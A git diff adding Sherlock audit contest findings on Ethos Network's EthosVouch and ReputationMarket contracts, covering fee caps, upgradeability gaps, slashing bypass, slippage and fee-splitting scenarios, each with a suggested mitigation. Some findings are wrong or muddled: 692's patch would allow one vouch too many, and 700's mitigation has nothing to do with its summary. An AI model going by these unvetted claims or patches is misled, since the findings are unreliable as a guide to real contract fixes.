/dev/null +++ b/689.md @@ -0,0 +1,49 @@ +Energetic Inky Hamster + +Medium + +# Maximum total fees can exceed 10% + +### Summary + +The constant `MAX_TOTAL_FEES` is hardcoded to 10000, which makes maximum total fees can exceed 10%. + +### Root Cause + +In the contest [readme](https://audits.sherlock.xyz/contests/675?filter=questions), it says ' Maximum total fees cannot exceed 10% ', but in [EthosVouch.sol:120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120C3-L120C50), the constant `MAX_TOTAL_FEES` is hardcoded to 10000, which means the maximum total fees can be set to 100%. +```solidity + // --- Constants --- + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; + uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256 public constant MAX_SLASH_PERCENTAGE = 1000; + +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Maximum total fees can exceed 10%. + +### PoC + +_No response_ + +### Mitigation + +set `MAX_TOTAL_FEES` to 1000. +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/690.md b/690.md new file mode 100644 index 0000000..08262cc --- /dev/null +++ b/690.md @@ -0,0 +1,48 @@ +Energetic Honeysuckle Leopard + +Medium + +# corrupt upgdreability pattarn + +### Summary + +_No response_ + +### Root Cause + +the `EthosVouch.sol` and `ReputationMarket.sol` are `UUPS upgradeable`,however the current implementation has multiple issue + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L67 + +The EthosVouch contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. + + EthosVouch.sol and ReputationMarket.sol inherits the non-upgradeable version of ReentrancyGuard from Openzeppelin's library, when it should use the upgradeable version from [[openzeppelin-contracts-upgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable)](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable) lib. + +The `AccessControl` and `SignatureControl` are both modified contracts from accessControl openzepplin contracts, both contain storage slots but there are no gaps implemented. + + + +### Internal pre-conditions + +If admin performs an upgrade and wants to add another storage slot , the storage slot would mess up. + +### External pre-conditions + +no response + +### Attack Path + +no response + +### Impact + +Storage of contracts might be corrupted during upgrading. + +### PoC + +_No response_ + +### Mitigation + +1. Add gaps in AccessControl, SignatureControl +2. Use lOpenzeppelin-upgradeable reentrancyGuard instead \ No newline at end of file diff --git a/691.md b/691.md new file mode 100644 index 0000000..6842012 --- /dev/null +++ b/691.md @@ -0,0 +1,52 @@ +Passive Tawny Sheep + +Medium + +# The vouch limit is not respected in the EthosVouch contract + +### Summary + +The fees are applied after the check to ensure that the vouching amount is higner than the minimum. Moreover the slash function don't respect the minimum amount that should be vouch. This can lead the vouch to have a dust amount vouched which socially mean nothing. + +### Root Cause + +In the `EthosVouch`contract the fees are applied a send after the check with the `configuredMinimumVouchAmount` as we can see : + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L380-L384 +If a user vouch with the minimum vouch amount configured he will have a smaller value. + +Moreover the slash don't also respect the minimum vouch amount as we can see : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L528-L551 + +### Internal pre-conditions + +1. Fees must be set. + +### External pre-conditions + +none + +### Attack Path + +_No response_ + +### Impact + +The configured minimum is not respected, vouch.balance could be a dust amount which mean nothing socially breaking the purpose of the protocol. + +### PoC + +_No response_ + +### Mitigation + +Refactor the `vouchByProfileId` function + +```solidity + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + if (toDeposit < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } +``` +Refactor also the slash function to slash only the vouchs that are higher than the configured minimum. \ No newline at end of file diff --git a/692.md b/692.md new file mode 100644 index 0000000..11f6703 --- /dev/null +++ b/692.md @@ -0,0 +1,76 @@ +Flat Mercurial Viper + +Medium + +# Off by one issue for max vouches. + +### Summary + +As per the docs, user should be able to vouch for at most 256 profiles and not more than that. But he will not be able to vouch for 256th time either. There is off by one issue there. User should be able to vouch for maximum profile at max. + +There is this check in `vouchByProfileId()` function: + +```solidity + // users can't exceed the maximum number of vouches + if (vouchIdsByAuthor[authorProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); + } +``` + +Github: [Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L345C1-L351C6) + +We are checking for `vouchIdsByAuthor[authorProfileId].length` to be greater than or equal to `maximumVouches` and if true we are revert. + +And during initialization, we are setting `maximumVouches` to `256`: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L287-L287 + + +That means if user try to vouch for 256th profile, the transaction will revert. + +As per the invariants given on contest page, the maximum vouches cannot exceed 256: + +> Maximum number of active vouches received by a profile cannot exceed 256 + +But the total 256 vouches will not be used. So user will have one less vouch. And since vouching is an important functionality, submitting it as a medium issue. + +### Root Cause + +check has off by one issue. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +User will not be able to vouch for 256th profile + +### PoC + +Will provide later if necessary since submitting this at last moment. + +### Mitigation + +```diff + // users can't exceed the maximum number of vouches +- if (vouchIdsByAuthor[authorProfileId].length >=maximumVouches) { ++ if (vouchIdsByAuthor[authorProfileId].length >maximumVouches) { + + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); + } +``` \ No newline at end of file diff --git a/693.md b/693.md new file mode 100644 index 0000000..bbb9af5 --- /dev/null +++ b/693.md @@ -0,0 +1,50 @@ +Deep Ruby Troll + +Medium + +# Graduated Market Funds Withdrawal Vulnerability: Missing Check for Market Graduation Status + +### Summary + +Market can be withdrawn without setting ```graduatedMarkets``` to true + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678 + +there is no check if the status of graduatedMarket has been changed and its now true. +and only when its true it should be able to withdraw funds from the market + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Market can be withdrawn without first making + +```solidity +graduatedMarkets[profileId] = true; +``` + +### PoC + +_No response_ + +### Mitigation + +do a check inside ```withdrawGraduatedMarketFunds``` + +```solidity + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); // Revert if the market is no longer graduated +} +``` \ No newline at end of file diff --git a/694.md b/694.md new file mode 100644 index 0000000..4506d82 --- /dev/null +++ b/694.md @@ -0,0 +1,44 @@ +Damp Shamrock Viper + +High + +# User loses vouched amounts if address used to vouch is compromised + +### Summary + +The unvouch method for a profile id ~ author always takes the address that was used to vouch the subject address. +However if this address that belongs to the profile id gets compromised. The user will not be able to unvouch it with his existing addresses linked to his profile id, nor can he prevent the compromised address from taking the funds. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459 + +The root cause is that the address used to unvouch isn't checked that its compromised from EthosProfile +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L72 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The address used to vouch the subject address is compromised +2. The user marks that address as compromised +3. Code allows the compromised address to unvouch and take funds anyway while user is not able to + +### Impact + +The user loses his funds and is unable to prevent the attacker from taking his vouched funds despite marking the address used to vouch as compromised. + +### PoC + +_No response_ + +### Mitigation + +Check whether the address used to unvouch is compromised and allow the user to use any address linked to his profile id to retrieve the funds stored at Vouch. \ No newline at end of file diff --git a/695.md b/695.md new file mode 100644 index 0000000..edbfd9b --- /dev/null +++ b/695.md @@ -0,0 +1,109 @@ +Furry Pink Chipmunk + +Medium + +# Donation rewards to mocks ids can forever be locked in the vouch contract + +### Summary + +The ethosVouch contract allows vouching for mock profile subject ids, and a portion of the vounch amount is given to the mock subject id as a donation reward. + +```solidity + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } +``` +- https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L361C4-L367C1 + +Giving fees to the mockId: +```solidity + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } +``` +- https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L944C5-L947C10 + + An issue arises when claiming rewards as this mock id should have been claimed by a verified address with a verified profile id being the mockId. + + There are two ways of creating mockId in the ethosReview contract, one is via address nad the other via attestastion hash. The mockId via address can be claimed by the address and hence can claim the rewards to that mockid. + + `Increment call to create mockId by the ETHOS_REVIEW contract in EthosProfile contract.` + + ```solidity + function incrementProfileCount( + bool isAttestation, + address subject, + bytes32 attestation + ) external whenNotPaused onlyNonCompromisedAddress(subject) returns (uint256 profileId) { + if ( + msg.sender != contractAddressManager.getContractAddressForName(ETHOS_REVIEW) && + msg.sender != contractAddressManager.getContractAddressForName(ETHOS_ATTESTATION) + ) { + revert InvalidSender(); + } + profileId = profileCount; + if (isAttestation) { + profileIdByAttestation[attestation] = profileId; + } else { + profileIdByAddress[subject] = profileId; + } + profileCount++; + + emit MockProfileCreated(profileId); + } + + ``` + `The Increment function to create mockId by the ETHOS_REVIEW contract in EthosProfile contract.` + +- https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L269C2-L289C4 + + An issue arises with the mockId created via attestation hash, this mockId cannot be claimed by an address since during a claim, the attestation hash's profile id is changed to the claimant's id. + + ```solidity + function assignExistingProfileToAttestation( + bytes32 attestationHash, + uint256 profileId + ) external isEthosAttestation whenNotPaused { + profileIdByAttestation[attestationHash] = profileId; + } + ``` + - https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L297C1-L302C4 + + Since the rewards are assigned to the mockId, the claimant of the attestation hash cannot claim these rewards and this amount will forever be stuck in the vouch contract. + + + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Here is a scenario:- +- A voucher sees a social profiles' attestation hash with a mockId and wants to vouch for it hence he vouchs for it using its mockId. +- The vouch gets created for that mockid as a subject id and the donation rewards is awarded to that mockId. +- In ethos attestation, the attestation hash is claimed by its owner address and its id changed to the owner address's profile id. +- The attestation owner cannot claim this reward, since he has a different profile id and nobody can take ownership of this mock id to which the funds were assigned hence will forever be stuck in the contract. + +### Impact + +Funds will forever get stuck in the vouch contract + +### PoC + +_No response_ + +### Mitigation + +Consider assigning reward funds to addresses or attestation hashes. \ No newline at end of file diff --git a/696.md b/696.md new file mode 100644 index 0000000..8ad397a --- /dev/null +++ b/696.md @@ -0,0 +1,46 @@ +Energetic Honeysuckle Leopard + +Medium + +# Incorrect MAX_TOTAL_FEES Constant Value in EthosVouch Contract + +### Summary + +_No response_ + +### Root Cause + +The `EthosVouch` contract currently defines the `MAX_TOTAL_FEES` constant as `10000`, which represents 100% in basis points. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120 +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +However, according to the contract's documentation, the maximum total fees should be capped at 10%, corresponding to 1000 basis points. This discrepancy could lead to unintended excessive fee charges. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The current setting allows for the possibility of charging up to 100% in fees, which is likely unintended and could result in significant financial loss for users. + +### PoC + +_No response_ + +### Mitigation + +Update the MAX_TOTAL_FEES constant to reflect the intended maximum of 10% in fees. +```solidity +uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/697.md b/697.md new file mode 100644 index 0000000..604f19f --- /dev/null +++ b/697.md @@ -0,0 +1,66 @@ +Funny Misty Bat + +High + +# Vouching user could be charged 100% in fees amount + +### Summary + +[`EthosVouch::MAX_TOTAL_FEES`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) constant value is set to `10000`. This is in basis points that is actually interpreted as 100% in computations. Which means that 100% of the user funds while vouching for any particular profile can be wiped out in the form of fees. + +### Root Cause + +First of all, in `EthosVouch::initialize` function, `entryProtocolFeeBasisPoints`, `entryDonationFeeBasisPoints`, `entryVouchersPoolFeeBasisPoints`, and `exitFeeBasisPoints` are initialized without being checked against the `MAX_TOTAL_FEES` cap. + +Furthermore, contest details page mentioned: + +For both contracts: +`Maximum total fees cannot exceed 10%` + +which means that `MAX_TOTAL_FEES` cap should be set at 10% (1000 bps) not 100% (10000 bps). + +`EthosVouch::checkFeeExceedsMaximum` function will not revert until the total exceeds 100% fees amount. + +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +@> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user calls `EthosVouch::vouchByProfileId` function, the total fees sum is set to 100% +2. The fees is applied and fees is sent to `protocolFeeAddress` and `toDeposit` amount becomes 0 +3. `Vouch.balance` is `0` in this case +4. The user calls `EthosVouch::unvouch` function, because `Vouch.balance` was set to `0`, now as a resultant of `applyFees`, `toWithdraw` will also be zero, and nothing will be sent to `Voucher.authorAddress` + +### Impact + +As a result, user lost 100% of funds which he paid in the form of fees while vouched for an Ethos profile. + +### PoC + +_No response_ + +### Mitigation + +`EthosVouch::MAX_TOTAL_FEES` should be set to `1000` not `10000`. + +```diff +-- uint256 public constant MAX_TOTAL_FEES = 10000; +++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/698.md b/698.md new file mode 100644 index 0000000..4e34f9b --- /dev/null +++ b/698.md @@ -0,0 +1,38 @@ +Bald Lace Cyborg + +Medium + +# User with same profile id will claim all rewards instead of other user. (steal ) + +### Summary + +In EthosVouch.sol , when claimRewards() will be called , amount which is to be claimed is being calculated on the basis of profile id and not the one who calls the fucntion. It should be in a way , where in reputation, amount is being calculated for particualar user and not from profile id + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L667C1-L685C4 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +here user with same profile id when call the function, there would be the case , he would take all the rewards, with out being consent of the main user of the profile id. claim should be in a way, like it is done in reputation, particular user accounting is there and not with profile. + +### PoC + +_No response_ + +### Mitigation + +like i have mentioned, it should be like it is done in reputation.sol with respect to msg.sender user. \ No newline at end of file diff --git a/699.md b/699.md new file mode 100644 index 0000000..3acb693 --- /dev/null +++ b/699.md @@ -0,0 +1,76 @@ +Energetic Honeysuckle Leopard + +Medium + +# increaseVouch Function Allows Deposits When Contract is Paused + +### Summary + +_No response_ + +### Root Cause + +below is the increaseVouch() function: +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant {//@audit - no check of whenNotPaused! + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +The increaseVouch function in the EthosVouch contract currently allows users to increase their vouch amounts even when the contract is in a paused state. Typically, when a contract is paused, it should prevent any operations that involve deposits or changes to the contract's state to ensure security and stability. + +sponsor acknowledged the issue: + +![image](https://github.com/user-attachments/assets/8b1020e6-debd-444b-9e90-5b6eca2aa9fa) + + + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Allowing deposits during a paused state can expose the contract to potential exploits or vulnerabilities that the pause mechanism is intended to mitigate. + +### PoC + +_No response_ + +### Mitigation + +implement the below fix: + +```solidity +function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { + // existing logic +} +``` \ No newline at end of file diff --git a/700.md b/700.md new file mode 100644 index 0000000..a912958 --- /dev/null +++ b/700.md @@ -0,0 +1,49 @@ +Lively Banana Gazelle + +High + +# anyone can mark unhealthy leading to Griefing attack + +### Summary + +markUnhealthy() function allows anyone with a valid Ethos profile to mark any unvouched vouch as unhealthy, without providing any justification or proof + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L883C1-L888C1 +Provide a gas stipend to the call to handle potential gas costs in the recipient contract's fallback function: .call{value: amount, gas: gasLimit}(""). Carefully choose the gas limit (gasLimit). Too little will still cause failures, while too much could be exploited by malicious receivers. + + +Instead of simply reverting, consider emitting an event to log the failed transfer and the amount. This allows for manual intervention or alternative handling of the lost fees. Combine this with a multi-sig controlled function to recover or redirect the lost funds. + +Example Attack Scenario: + +- Alice has a reputable profile with several vouches. +- Bob, a competitor or someone with a grudge against Alice, decides to damage her reputation. +- Bob identifies Alice's unvouched vouches. +- Bob calls markUnhealthy() for each of Alice's unvouched vouches, without providing any real reason. +- Alice's profile now shows several unhealthy vouches, potentially affecting her standing within the Ethos community. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + using a pull-based payment system where the protocol fee address can withdraw accumulated fees when needed. This avoids the potential for lost fees due to recipient contract issues and minimizes gas costs \ No newline at end of file diff --git a/701.md b/701.md new file mode 100644 index 0000000..cfc7f6c --- /dev/null +++ b/701.md @@ -0,0 +1,40 @@ +Deep Ruby Troll + +Medium + +# Fix Insufficient Votes Check for Tiered Voting in _calculateSell + +### Summary + +since there are different marketConfigs in ```_calculateSell``` you can sell until it reaches initial vote of 1 + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045 + +In ```_calculateSell``` there is sell vote until it reaches ```initialVotes``` 1 but what happens if its not Default Tier +If its for example Premium Tier you have 10000 ```initialVotes``` this means its incorect logic. You should first get the marketConfig and do a check based on marketConfig.initialVotes + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +if bigger tier than default tier causes to sell more votes than you actually can since if it was premium tier you wouldnt be able to sell under the initialVotes of the premium tier which is 10000 + +### PoC + +_No response_ + +### Mitigation + +get the current ```marketConfigs``` for the profileID and then just replace 1 with marketConfigs.initialVotes \ No newline at end of file diff --git a/702.md b/702.md new file mode 100644 index 0000000..cbb90b1 --- /dev/null +++ b/702.md @@ -0,0 +1,43 @@ +Damp Shamrock Viper + +Medium + +# Vouch can be increased for a vouchid referencing an archived profile + +### Summary + +The protocol prevents users from vouching for an archived profile +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L361-L365 + +However it does not stop users from increasing vouch (`increaseVouch`) for a vouch id that already references an archived profile. +This causes the rewards value for an archived subject profile id to still keep increasing. despite making restrictions + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +The increase vouch function does not check if the recipient subject profile id is archived + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The archived profile id can still benefit from vouch rewards despite the protocol attempts to restrict it. + +### PoC + +_No response_ + +### Mitigation + +Check if the subject profile id for the `increaseVouch` method is archived. \ No newline at end of file diff --git a/703.md b/703.md new file mode 100644 index 0000000..0f12c03 --- /dev/null +++ b/703.md @@ -0,0 +1,124 @@ +Energetic Honeysuckle Leopard + +High + +# users can bypass slashing(upto 10% penalty) by simply calling unvouch() + +### Summary + +_No response_ + +### Root Cause + +The `EthosVouch` contract includes a slashing mechanism intended to penalize unethical behavior by reducing the vouch balances of a given author by a specified percentage(upto 10%). + +```solidity +function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches + if (!vouch.archived) + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } + +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L520 + + +However, users can potentially bypass this penalty by unvouching (withdrawing their vouch) before the slashing is executed. +```solidity +function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } + +``` +as we can see the unvouch function set the `v.archived = true;` + + This allows them to avoid the intended penalty of up to 10% of their staked amount. Additionally, users can create a new vouch immediately after unvouching + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Example Scenario + +1. Initial Vouch: User A creates a vouch for User B with a balance of 10 ETH. +2. Slash: A slasher verifies that user is malicious and has to reduce User A's vouch balance by 10% due to unethical behavior. +3. Unvouch Action: Before the slashing is executed, User A calls the `unvouch` function to withdraw their vouch, effectively archiving it. +4. Bypassing Slash: Since the slash function only applies to active vouches (!vouch.archived), User A's archived vouch is not affected by the slashing event. + +### Impact + +user can bypasing the slash penalty upto 10% + +### PoC + +_No response_ + +### Mitigation + +Introduce a lock period or delay period after vouching during which unvouching is not allowed. This would prevent users from quickly unvouching to avoid slashing. \ No newline at end of file diff --git a/704.md b/704.md new file mode 100644 index 0000000..a0e9751 --- /dev/null +++ b/704.md @@ -0,0 +1,59 @@ +Warm Seafoam Crow + +Medium + +# slippage while selling is insufficient for protecting users + +### Summary + +when users call sell it calls calculatesell the calculatesell uses min vote price to protect users from slippage however its insufficient in protecting users from receiving less than the the amount they want because it uses the current price as the min price which can deviate every moment since it uses vote price as the min amount even tho front running and griefing a user is very unlikely on l2 but slippage should still be accounted for selling votes because the design of this contract is such that even a single vote affects the price of the vote in a busy market this will cause alot of chaos for users since anytime there is a transaction processed the price of votes will be hugely impacted + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L511 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L731-L733 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users will never be able to execute a transaction at the price they desire. in a busy market this is problematic every vote impacts the price of the vote loss of funds for users + + + +### PoC + +Base Price = 0.01 ETH +Trust Votes = 1500 +Total Votes = 2500 (Trust + Distrust) +Calculation: (1500 * 0.01) / 2500 = 0.006 ETH + +So the price for a single trust vote is 0.006 ETH. + +1. alice has 200 she wants to sell her 200 votes at 0.006 eth she calls sell tokens + +2.bob who has 300 trust votes sells his votes at 0.006 bob also calls sell tokens + +if bobs transaction is processed funds the new market and price will look something like this + +totalvotes = 2200 +vote price=0.00545 + +3. alices transaction gets processed after bob but now the price of token is 0.00545 her transaction is processed at 0.00545 instead of the price at which she wanted to sell 0.006 eth the difference is huge and it is very likely to happen since the price of votes are moving with every little transaction not accounting for slippage and relying solely on the price of the vote can result in a really bad user experience anytime there is a transaction being processed the slippage will be massive + +### Mitigation + +add a slippage protection for users \ No newline at end of file diff --git a/705.md b/705.md new file mode 100644 index 0000000..5121f83 --- /dev/null +++ b/705.md @@ -0,0 +1,42 @@ +Deep Ruby Troll + +Medium + +# Incorrect fee calculation + +### Summary + +In ```previewFees``` the calculation is incorrect + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141-L1153 + +First you calcualte the ```protocolFee ``` then you need to deduct ```amount``` - ```protocolFee ``` and then use the result of this deduction to calculate ```donation ``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect calculation. User gets taxed more fees than expected + +### PoC + +_No response_ + +### Mitigation + +```solidity + uint256 remainingAmount = amount - protocolFee; + donation = (remainingAmount * donationBasisPoints) / BASIS_POINTS_BASE; +``` \ No newline at end of file diff --git a/706.md b/706.md new file mode 100644 index 0000000..426f326 --- /dev/null +++ b/706.md @@ -0,0 +1,47 @@ +Colossal Felt Dove + +Medium + +# Malicious users can pay less voucher fee + +### Summary + +The current implementation allows users to pay less voucher pool fee by repeatedly calling the increaseVouch function instead of making a single vouch, as their share in the pool increases each time they call increaseVouche so they receive a portion of voucher pool fee . + +### Root Cause + +The voucher pool fee is distributed across all vouches and is applied when either creating or increasing a vouch. When a user vouches with the minimum amount, they receive a portion of the voucher pool fee during the next increaseVouch call. By repeatedly calling increaseVouch instead of creating a single vouch with the full amount, the user can reduce the total voucher pool fee they pay, as they receive a portion of it (as a payback) each time increaseVouch is called. Additionally, with each subsequent call to increaseVouch, they receive a larger portion of the voucher pool fee in the next call. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L739 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +**Scenario Description:** + +1. The total vouch balance for all vouchers in a profile is 10 ETH. +2. Alice wants to vouch for this profile with 100 ETH. +3. With a 10% voucher pool fee, Alice should pay 10 ETH as the voucher pool fee. +4. Instead of making the full vouch in one transaction, Alice vouches with the minimum amount (e.g., 10 ETH), paying only a 1 ETH fee. +5. Alice then calls `increaseVouch` with an additional 90 ETH. Since she owns 50% of the vouch balance, she receives 50% of the voucher pool fee. +6. A total of 9 ETH in voucher pool fees is applied, Alice receives 4.5 ETH of this amount ( payback ) since now she receives part of this fee. +7. As a result In this scenario , Alice pays only 5.5 ETH in total for the protocol's voucher pool fee, instead of the expected 10 ETH. +8. By calling `increaseVouch` with smaller amounts, Alice can reduce her overall voucher pool fee payment. + +### Impact + +Malicious users can pay less vouch pool fee + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/707.md b/707.md new file mode 100644 index 0000000..1ec06eb --- /dev/null +++ 